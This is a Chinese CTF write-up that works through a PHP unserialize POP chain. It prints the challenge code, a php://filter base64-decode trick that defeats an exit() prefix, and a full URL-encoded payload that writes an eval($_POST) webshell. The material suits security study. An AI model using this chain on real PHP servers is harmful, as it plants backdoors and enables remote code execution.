前言
关键字:[反序列化]
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
题解
反序列题,看代码构造pop链。
函数解析
array_intersect_key
比较键名返回两个集合的交集,以第一个参数为优先$a1 = array("a" => "red", "b" => "green", "c" => "123"); $a2 = array("a" => "red", "c" => "blue", "d" => "pink"); $result = array_intersect_key($a1, $a2); print_r($result); //Array ( [a] => red [c] => 123 )
array_flip
反转键值对$cachedProperties = array_flip([ 'path', 'dirname' ]); var_dump($cachedProperties); //array(2) { ["path"]=> int(0) ["dirname"]=> int(1) }
第一步,先找哪里能输出flag或执行代码的地方。
很明显,在这里了。
大致pop链如下:
B::set() <- A::save() <- A::__destruct()
然后得具体构造了
先看这里:
$expire = 'abcd';
$data = sprintf('%012d', $expire);
echo $data;
//000000000000
$expire = '1234';
$data = sprintf('%012d', $expire);
echo $data;
//000000001234
这里只允许输出数字,所以肯定有漏洞,百度一下,真有
看了一会,得,实际上这里并不是用这个格式化漏洞,而是直接绕过的。
可以从$filename
入手
PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $add_str . $data;
file_put_contents($filename, $data);
利用伪协议,在写入的时候进行base64解码,这样就把前面的死亡exit给解码掉了。
然后发现字符不够,于是一个一个加,加到3个字符就成了。
base64编码后的字符串字节数都是4的倍数,而表中字符只有[a-zA-z0-9+/],其他字符是不在编码范围内的
写个代码测试下
<?php
$s1 = '12';
$s2 = '12==';
$b1 = base64_decode($s1);
$b2 = base64_decode($s2);
echo bin2hex($b1) . ' ' . bin2hex($b2);
//OUTPUT:d7 d7
明显,解码的时候不足4的倍数会补。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
=>
<?php\n//123456789123\n exit();?>\n
不符合base64编码的字符范围将被忽略,能被解码的只有如下21个字符,所以需要补3个字符。
php//123456789123exit
然后这里的$contents就是放webshell的地方,这有两个选择,一是从$cleaned
取,一是从$complete
里取。明显从$complete
里取要简单点,所以这里可以让$cleaned
为空或空数组即可。
<?php
$a = json_encode([array(), 'MTIzNDU=']);
//$a = json_encode(['', 'MTIzNDU=']);
echo $a;
echo '<br>';
echo base64_decode($a);
payload
<?php
error_reporting(0);
class A
{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->autosave = 0;
$this->key = 'shell.php';
$this->cache = array();
$this->complete = 'MTExUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjJOdFpDZGRLVHNnUHo0PQ==';
}
}
class B
{
public $options = array();
public function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['data_compress'] = false;
$this->options['expire'] = 1;
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
}
}
echo urlencode(serialize(new A()));
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A1%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22autosave%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22MTExUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjJOdFpDZGRLVHNnUHo0PQ%3D%3D%22%3B%7D
不解之处
迷惑的是,这样就不报错
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n";
file_put_contents($filename, $data);
这样字符不够会报错。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
file_put_contents($filename, $data);
这样也报错
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data . '111';
file_put_contents($filename, $data);